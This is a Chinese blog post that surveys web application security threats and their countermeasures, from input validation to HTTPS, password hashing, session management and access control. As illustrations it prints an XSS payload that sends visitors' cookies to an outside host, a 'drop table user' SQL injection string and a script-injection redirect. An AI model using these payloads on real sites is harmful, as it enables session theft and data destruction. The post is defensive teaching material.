互联网应用安全威胁的应对
written by xiaokaiqun, 2018-04-20
在 《大型网站技术架构》 一书中提到:安全、高可用、可拓展、性能、可伸缩是衡量一个网站架构能力的五个方面。其中,安全是必不可少的组成部分。
由于我之前对安全问题的理解都比较碎片化,不够系统,最近就有针对性的看了一些资料,并将它们整理在这里,希望读者看完后能了解常见的安全威胁和应对方法,并运用到实际生产中去。
本文是安全问题的总览,对某些问题的深入探讨我们会单独写一篇文章进行讨论。
参考资料包括:
安全威胁有很多种类,应对手段也分很多种类。某些威胁可能用很多种手段都能有效应对,而某些手段也能同时应对多种威胁。实际上它们是多对多的关系,如下图:
本文会以应对手段为线索去总结,这种应对手段能够对付何种威胁,且要做到有效防御我们需要付出哪些努力。这种讲述逻辑的好处是:更贴近生产实际,便于大家运用、实践。
为了保证应用安全性,我们需要做到以下几点:
- 【输入】有效验证用户输入参数 / 拒绝非法输入参数
- 【输出】输出安全过滤后的用户数据
- 【数据库】使用参数绑定防止SQL注入
- 【传输】全面使用HTTPS
- 【密码】加密存储用户密码
- 【验证身份】正确验证用户身份和管理Session
- 【权限校验】验证用户有权进行某种操作
- 【防止恶意访问】防接口被刷&风控
- 【漏洞】扫描系统和软件漏洞
【输入】有效验证用户输入参数 / 拒绝非法输入参数
互联网在线服务的实现方式大多是接收用户 输入=>处理=>输出 的过程。在输入这一环节,后端应用必须对参数进行有效性验证,否则可能存在如下威胁:
- XSS攻击
- 各种拒绝服务攻击(DOS)
- 各种注入攻击
- CSRF
- 资源盗链
- 垃圾信息
有同学问:我已经在web前端验证过输入参数了,还有必要在后端再验证吗?
答案是:很有必要。因为攻击者可能通过curl等工具绕过前端验证,直接调用API,此时前端验证形同虚设。
我先简单介绍一下上述几种威胁的概念:
1. XSS(Cross Site Script)攻击
指攻击者通过表单提交HTML页面可执行的脚本代码或脚本的链接。这些内容被保存在网站数据库中。当这些脚本被渲染到其它用户的HTML页面中时会被执行,达到一些非预期的不良后果。
案例1:我在逛某论坛时,发个帖子,内容为:
1 | new Image().src="http://xiaokaiqun.com/getcookie?cookie="+encodeURIComponent(document.cookie); |
当其它用户打开帖子时,他的cookie信息就被发到我的服务器了。
常见的XSS手段:XSS Filter Evasion Cheat Sheet
2. 拒绝服务(Denial of Service)攻击
指攻击者通过手段消耗系统资源,使真实用户无法正常使用服务的攻击。
这里要提一句DDOS攻击:DDOS是分布式的DOS攻击,指用多台机器分布式地对一个网站发起攻击。常见手段是基于TCP SYN FLOOD或 IP RST两种方式。
公司历史上曾经受到过基于TCP SYN FLOOD的DDOS攻击,这种攻击会向服务器发送大量没用的TCP握手请求,占满服务器的TCP缓冲区,导致正常用户无法建立连接。
这种攻击的防御手段不在本次的讨论范围之内,回头可能会单独写一篇东西讲述。
DOS具体又包括:
- 不合适的参数值造成数据库查询耗费过多的资源(page size、order by)
- 正则输入源reDos
- 传入过多、过长的垃圾内容占满磁盘空间
3. 注入攻击
指攻击者通过输入参数或其它手段传入一些恶意的程序、指令在服务端执行,造成破坏。包括:
- SQL注入
- 程序漏洞注入(如:Java反序列化注入)
- 上传恶意文件
案例2:SQL注入
攻击者首先要掌握网站数据库的表名、字段名等信息。并在提交的参数中加入一些SQL语句指令,这些语句可能会造成破坏、或数据泄露。
如“ ‘1; drop table user; ”,如果这个输入被拼成SQL语句,可能会得到:
select * from user where id = 1; drop table user;
如果它被执行,user表将被删除。
4. CSRF
即:跨站请求伪造。指攻击者在自己的网站上嵌入一段被攻击者网站的API调用脚本。当用户访问后,该脚本会往被攻击者网站发送请求,被带上被攻击者域名下的cookie值。
在用户毫无察觉的情况下,他就执行了一次成功的业务调用,如果这是银行转账的请求,那…T-T
5. 资源盗链
指A站点的资源中有指向B站点资源(图片、视频等)的链接,A站点在没有消耗流量的情况下,为用户提供了商业服务,而B站点却承担了费用。
6. 垃圾信息
包括含有敏感、违法或广告内容的用户生成的数据,可能对网站造成破坏。
最佳实践
以上是对五种威胁的简单介绍,那么如何通过验证输入参数来做防御呢?
对于输入参数,有以下几点验证原则:
- 根据业务逻辑,为参数设置白名单,拒绝一切不在合法范围内的内容
- 如:用数值范围、长度、正则表达式等去做正向验证
- 如果找不到准确的白名单,就(借助web框架、中间件的功能)设置黑名单。
- 如:Java的ESAPI;
- Hibernate;
- Spring的内置type safe params in Controller 和Validator interface;
- 等,都可以辅助实现输入参数验证;网上有不少使用实例。
- 在关键业务处使用CSRF token验证
- 在生成页面时生成一个token,并渲染在页面中,提交请求时进行验证。
- 防盗链:检查Referer头中的域名来源是否合法
- 信息反垃圾过滤:
- 通过敏感词匹配、分类算法和黑名单(Hash或布隆过滤器)的方式实现
- 验证过程越早进行越好,不要让未经过验证的参数进入业务逻辑。
- “拒绝请求” 优于 “净化(删除部分内容,继续执行)”,因为经过参数净化之后,可能仍然存在安全隐患。
【输出】输出安全过滤后的用户数据
MVC模式是常用的web应用开发模式,我们处理后的数据最终会以model的形式传递给View组件,输出到HTML页面中。
不管是使用JSP技术,还是其他视图模板引擎(如Themeleaf、Velocity等),我们会直接把处理后的数据填写到对应位置,完成页面内容的拼装。
风险来自浏览器渲染HTML的过程,浏览器竭尽全力渲染HTML的全部内容,即便其中有小的语法错误。所以,未经正确编码/安全过滤的数据进入HTML后,可能会使页面不可用,造成破坏。
案例3:
假设我是用JSP技术向HTML页面里输出变量${name},变量的渲染位置为:
1 | document.getElementById('name').innerText = '${name}' |
如果我将name的值置为:
1 | xiaokaiqun';window.location='http://baidu.com/'; |
这个值未经编码直接进入页面,导致页面直接跳转至百度了。
最佳实践
Martin在他的博客中说,要实现正确的输出编码是件很复杂的事情,因为你首先要搞清楚数据会被输出到什么上下文环境中:
- Javascript
- HTML
- URL
- CSS
- SQL
- XML
- …
不同的上下文对应着不同的codec规则。
如果是嵌套的上下文环境,则还需要注意编码顺序。
要正确完成输出编码,需要做到如下几点:
对所有输出的含有潜在风险的用户数据进行编码处理
使用框架提供的编码功能
避免嵌套的上下文
等到输出时再进行编码,不要提前到存储时,因为那时你还不知道该用什么编码
避免使用不安全的输出方式,参考下表。
Framework | Encoded | Dangerous |
---|---|---|
Generic JS | innerText | innerHTML |
JQuery | text() | html() |
JSP | <c:out value=”${variable}”> or ${fn:escapeXml(variable)} | ${variable} |
Thymeleaf | th:text=”${variable}” | th:utext=”${variable}” |
Angular | ng-bind | ng-bind-html (pre 1.2 and when sceProvider is disabled) |
【数据库】使用参数绑定防止SQL注入
参数绑定是用来应对SQL注入的最佳手段。(用了它,你将不需要别的方法应对SQL注入了)
SQL注入的概念在上文中案例2已经介绍过,这节就详细说一下要注意的细节。
原理
问:为什么参数绑定能避免注入呢?
答:当你使用setString()方法绑定字符串参数时,它会对该字符串进行转义,对其中的” ‘ “引号改为“ \’ ”,使该参数变成一个合法的字符串,而非断句成为多条SQL命令被执行。而真正的SQL命名部分已经经过了预编译,用户输入的部分不会参与SQL语句的编译过程。
最佳实践
JDBC、Hibernate、Mybatis都支持参数绑定,所以务必要用
- 禁止用String拼接完整的SQL语句
使用参数绑定能够使代码更整洁
避免误区:
- 存储过程也需要使用参数绑定
- NoSQL数据库(MongoDB、Cassandra)也需要使用参数绑定
参考下表正确使用参数绑定功能:
Framework | Encoded | Dangerous |
---|---|---|
Raw JDBC | Connection.prepareStatement() used with setXXX() methods and bound parameters for all input. |
Any query or update method called with string concatenation rather than binding. |
PHP / MySQLi | prepare() used with bind_param for all input. |
Any query or update method called with string concatenation rather than binding. |
MongoDB | Basic CRUD operations such as find(), insert(), with BSON document field names controlled by application. | Operations, including find, when field names are allowed to be determined by untrusted data or use of Mongo operations such as “$where” that allow arbitrary JavaScript conditions. |
Cassandra | Session.prepare used with BoundStatement and bound parameters for all input. | Any query or update method called with string concatenation rather than binding. |
Hibernate / JPA | Use SQL or JPQL/OQL with bound parameters via setParameter | Any query or update method called with string concatenation rather than binding. |
ActiveRecord | Condition functions (find_by, where) if used with hashes or bound parameters, eg:where (foo: bar)where ("foo = ?", bar) |
Condition functions used with string concatenation or interpolation:where("foo = '#{bar}'")where("foo = '" + bar + "'") |
Mybatis | 使用#{}形式,参数不参与编译 | 使用${}形式会造成SQL注入 |
【传输】全面使用HTTPS
接下来是一个大的话题:数据在互联网上传输时的隐私性和完整性。
隐私性:是指没有人能截获、窃听到互联网上传输的数据内容。
完整性:是指没有人能篡改传输中的数据。
对,完成这一伟大目标的正是:HTTPS。
先明确几个概念:
TLS(Transport Layer Security)协议,是SSL协议的进化版,能够完成对传输层协议的加密。
HTTPS是HTTP协议对TLS的一种应用。
关于TLS协议的加密原理,我希望日后能再写一篇文章详细解释。
本文只讨论HTTPS协议的使用中的一些实际问题:
1. 如何申请HTTPS证书?
证书是证明你是该域名所有者的方式。关于证书的更多知识可以参考《SSL 认证体系备忘录》
目前有很多机构提供免费的证书申请,如我们使用的:LetsEncript。
2.全面使用HTTPS是否会给服务器带来性能压力?
确实会比HTTP协议耗费更多的计算资源,但是完全可以承受。
选择不同的加密算法和协议版本对性能的影响是不同的,可以参考SSL Configuration Generator 和 Server Side TLS Guide 去配置
3.如何阻止用户继续使用HTTP?
在服务器上配置redirect规则,举例:
1
2
3
4#Nginx location
if ($scheme != "https") {
rewrite ^ https://$host$uri permanent;
}使用HSTS,在响应头中加入:
1
Strict-Transport-Security: max-age=15768000
会使浏览器自动转换
http://
为https://
,且禁止跳过证书不受信任的警告
4. 还有那些最佳实践?
- 大部分浏览器禁止在https资源下请求http资源,这导致我们必须确认我们使用的第三方资源也能支持https
- 切勿在URL中带有敏感信息,否则它可能会暴露在Referer或Log里
- 更多最佳实践参考OWASP Transport Protection Layer Cheat Sheet
5.如何检测我网站的HTTPS安全性?
SSL Labs’ SSL Server Test
【密码】加密存储用户密码
保护用户密码不单单关系到本应用的数据安全,由于大部分用户会复用自己的密码,密码泄露可能会导致更大范围的危害。
前几年出现过某知名网站的数据库内容泄露,大量账号密码被公开…后果很严重…
因此,严禁明文存储密码。
那应该存储什么呢?
答案是密码的Hash值。
Hash算法是不可逆的摘要算法,如:MD5、SHA1等。算法的计算过程是公开的,但你无法通过摘要值得出信息原文
但是,随着计算机计算能力的提升和GPU集群的使用,常用的MD5、SHA1等摘要算法已经可以被破解了,因此他们不适合作为用户密码的Hash算法了。
下表是安全Hash算法的选择参考:
Hash Algorithm | Use for passwords? |
---|---|
scrypt | Yes |
bcrypt | Yes |
SHA-1 | No |
SHA-2 | No |
MD5 | No |
PBKDF2 | No |
Argon2 | watch (see sidebar) |
光使用了安全的Hash算法还不够,因为有些用户可能会使用较为简单的字符串作为密码。即便黑客无法通过Hash值反向算出原文,当他们获取到Hash值后,他们也能通过正向匹配常见字符串的方式破解一部分用户的密码。
此时,我们可以给每位用户生成一个随机字符串,称作”盐“(salt),掺入密码原文再进行Hash计算。这一措施使得Hash值多了一些不确定性,无法再通过正向运算破解了。
OWASP组织推荐使用32bit或64bit的字符串作为盐值。
小Trick:你在存储用户的密码时,可以同时存储运用的算法标识,这一操作使你的密码系统具有了可演进性,可以支持不同时期的用户使用不同的加密规则。
这里提一句算法和秘钥的安全管理:当团队规模逐渐变大时,我们需要妥善保管加密算法和秘钥,否则可能会被泄漏出去。可选的策略是将加解密算法做成一套独立的服务,供其他服务调用。在此基础上,再将秘钥分片、分布式存储、定时更新,防止系统用户轻易地拿到秘钥。
最佳实践
- 存储密码的Hash值,使用安全的算法
- 给Hash值加把盐
- 配置可演进算法版本的密码表
- 不要存储外部服务的密码
- 密码的长度不能太短,要制定密码的形式规范
- 实现秘钥安全管理
【验证身份】正确验证用户身份和管理Session
先明确两个概念:
Authentication-验证:证明用户的身份和他声称的一致
Authorization-鉴权:判断用户是否有权限执行某项操作
本节说的是Authentication,验证用户身份。
验证身份 和 用户Session管理 有着密不可分的关系,所以本节其实主要围绕Session管理展开。
什么是Session?
用户首次访问网站时,处于未登录状态,这时我们只知道他是一个普通的访客,并为他提供登录的入口。当他成功登录后,服务端为他生成一个标识并开始在客户端和服务端之间传递,这个标识作为此后识别这名用户的依据,就是SessionID。
同时,服务端保持着这个用户的一些与业务相关的临时状态,称为session,其中包含SessionID。
为了保证安全,SessionID必须满足 不可预期、唯一、保密。
登录方式都有哪些?
除了用户名密码的登录方式,还有:
- 手机号码
- 指纹
- SSO单点登录等
这里提一句SSO(单点登录):指使用用户已存在的账号进行身份验证,免去重新注册账号的麻烦。
如某些网站或App上提供:微信登录、QQ登录、Github登录等。
SSO的登录方式应用广泛,我想单独总结一篇博客,本节讨论的主要是session管理问题,不太关心具体登录方式,就先不展开了。
如何生成SessionID?
SessionID最好是不可预期的值,不建议使用有意义的值(如用户ID)进行拼接。因为攻击者可能会尝试理解SessionID的生成规则,并使用自创的SessionID去试图盗取别的用户的信息。
避免这种事情发生的方式就是使用随机数。
OWASP组织建议使用128bits的SessionID,可以使用SecureRandom类进行生成。
除了SessionID,尽量不要在客户端Cookie里存储其它用户信息,因为任何来自用户端的参数都可能被篡改。
如果必须存储,则在回传给服务端时,要有加密、验证手段防止信息被篡改
SessionID必须唯一,在分布式环境下,该如何生成唯一的SessionID呢?待调研、明确
如何保证SessionID不被暴露?
传输:在传输时必须采用HTTPS协议。
前端:建议只把SessionID保存在Cookie中,不要在URL、referrer、Headers中出现
后端:不要在Log中打印SessionID
正确设置Cookie四个属性:
- domain:它本身和它的子域名可用,范围越窄越好
- path:它本身和它的子路径可用,范围越窄越好
- secure:必要!设置后,只有HTTPS连接才会传输该cookie
- httponly:必要!设置后,js代码无法读取该cookie,防止被盗。
维护Session的生命周期
每次验证身份后,新建一个SessionID,决不能复用SessionID,如:发现用户登录状态失效,在他再次登录后沿用上次的ID。
给Session设置合理的过期时间,依据业务类型
给用户提供logout的功能,并在其logout后将cookie置于过期
1
2Set-Cookie: sessionId=[top secret value]; path=/secret/; secure; HttpOnly;
domain=payments.martinfowler.com; expires=Thu, 01 Jan 1970 00:00:00 GMT
给用户kill all session的方法,如:在修改密码后
给用户列出all active sessions
最佳实践
- 在重要操作之前再次验证用户身份,不要直接使用Session
- 如:阿里云在释放服务器资源时,会要求重新验证手机号/验证码
- 使用二元验证方式,引入第二种验证机制,加强安全性
- 如:账号密码+手机验证码
- 不要返回暴露用户是否存在的信息
- 在登录时,返回”用户名或密码错误“,而不是”用户不存在“
- 在注册时,向用户邮箱发送邮件,而不是直接返回”用户已存在“的信息
- 不要将密码硬编码进程序 或 持续使用默认密码
- 用户第一次登陆后就要求设置新密码并作废默认密码
- 正确地生成、保护SessionID;维护Session的生命周期
- 可以借助一些框架完成身份验证和session管理功能
- 如Apache Shiro、Spring Security等
【权限校验】验证用户有权进行某种操作
说完验证用户身份的方法,再讲一讲如何验证用户的操作权限。
实际上鉴权功能的实现和业务逻辑的关系很大,不同的业务场景下的权限分配逻辑大不相同。
在这里只能说一下注意事项 和 权限系统的设计模式。
注意:只在后端做权限验证
思路和前文类似,客户端传来的信息可能被篡改,因此不要把任何权限信息放在前端。
注意:实现默认拒绝的策略
为了避免程序实现中的BUG,默认拒绝所有操作请求,并在鉴权成功后再放行,能最大程度避免BUG带来的破坏。
注意:权限的粒度
权限控制的粒度可能是全系统的,也可能针对单个资源(文件、用户数据)。实现时要注意。
举例:
全系统:删除用户的权限、添加用户的权限等
单个资源:修改用户自己的属性、修改某个文件等
注意:前端缓存策略
如果用户共用浏览器,前端缓存策略可能导致页面显示和权限不符。注意禁止页面缓存:
1 | Cache-Control: private, no-cache, no-store |
模式:RBAC(role based access control)
指在系统中抽象出role和permission两种实体,分别代表角色和权限,E-R图:
验证时:根据用户身份判断他是否有对应的permission。
模式适用场景:
- 权限类型数量相对固定
- 角色与权限的映射关系在手动维护的范围之内,不会出现人-权限的大规模自由动态组合。
模式:ABAC(attribute based access control)
比RBAC更加复杂,但是可以支持权限动态组合,适合角色-权限映射关系不固定的系统。
实现方法包括XACML 和 DSL,不详细说了。
框架:简化代码
考虑使用类似Spring Security框架的声明式鉴权过程
【防止恶意访问】防接口被刷&风控
《阿里巴巴开发手册》中几次提到了”放刷“:
“在使用平台资源,譬如短信、邮件、电话、下单、支付,必须实现正确的防重放限制,如数量限制、疲劳度控制、验证码校验,避免被滥刷、资损。”
“说明:如注册时发送验证码到手机,如果没有限制次数和频率,那么可以利用此功能骚扰到其它用户,并造成短信平台资源浪费。”
“发贴、评论、发送即时消息等用户生成内容的场景必须实现防刷、文本内容违禁词过滤等风控策略。”
这里提一下接口防刷的策略:
- 前端:在提交请求前设置验证码,限制提交次数和提交频率
- 后端:通过IP地址或其他用户标识做访问频率限制
- 一方面前端的限制可能被绕过,后端防刷是必要的
- 这一功能可以尽量提前,不要让过量请求进入到后端应用服务器,最好在网关或者代理层就拦截掉。
【漏洞】扫描系统和软件漏洞
我们使用的服务器操作系统、软件都可能存在漏洞,定期使用漏洞扫描工具可以排查出一些问题,是持续加固网站安全性的一种方法。
阿里云本身也提供了安全漏洞方面的工具,便于排查,我们也可以主动使用起来。